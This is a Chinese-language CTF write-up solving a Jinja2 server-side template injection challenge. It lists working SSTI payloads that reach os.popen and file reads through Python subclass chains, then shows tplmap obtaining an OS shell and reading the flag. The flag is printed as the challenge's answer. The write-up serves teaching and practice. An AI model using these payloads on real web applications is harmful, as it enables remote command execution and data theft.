题目描述

来源:XTCTF

Solution

手工注入

打开网页,提示是 Python 模板注入:

1.png

我们可以测试一下:

  1. http://111.200.241.244:58124/{{2+3}}

2.png

后端把{{2 + 3}}的值给计算出来,放到结果里了。我们使用 Payload 读取目录(选下列任一即可):

  1. http://111.200.241.244:58124/{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  2. http://111.200.241.244:58124/{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
  3. http://111.200.241.244:58124/{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
  4. http://111.200.241.244:58124/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

3.png

读取文件:

  1. http://111.200.241.244:58124/{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

4.png

Tqlmap 自动化注入

输入下列命令:

  1. ┌──(cheerykali)-[~/Desktop/Tools/tplmap]
  2. └─$ py tplmap.py -u "http://111.200.241.244:58124/*" --os-shell
  3. Tplmap 0.5
  4. Automatic Server-Side Template Injection Detection and Exploitation Tool
  5. Testing if URL parameter 'url' is injectable
  6. Smarty plugin is testing rendering with tag '*'
  7. Smarty plugin is testing blind injection
  8. Mako plugin is testing rendering with tag '${*}'
  9. Mako plugin is testing blind injection
  10. Python plugin is testing rendering with tag 'str(*)'
  11. Python plugin is testing blind injection
  12. Tornado plugin is testing rendering with tag '{{*}}'
  13. Tornado plugin is testing blind injection
  14. Jinja2 plugin is testing rendering with tag '{{*}}'
  15. Jinja2 plugin has confirmed injection with tag '{{*}}'
  16. Tplmap identified the following injection point:
  17. URL parameter: url
  18. Engine: Jinja2
  19. Injection: {{*}}
  20. Context: text
  21. OS: posix-linux2
  22. Technique: render
  23. Capabilities:
  24. Shell command execution: ok
  25. Bind and reverse shell: ok
  26. File write: ok
  27. File read: ok
  28. Code evaluation: ok, python code
  29. Run commands on the operating system.
  30. posix-linux2 $ ls
  31. fl4g
  32. index.py
  33. posix-linux2 $ cat fl4g
  34. ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
  35. posix-linux2 $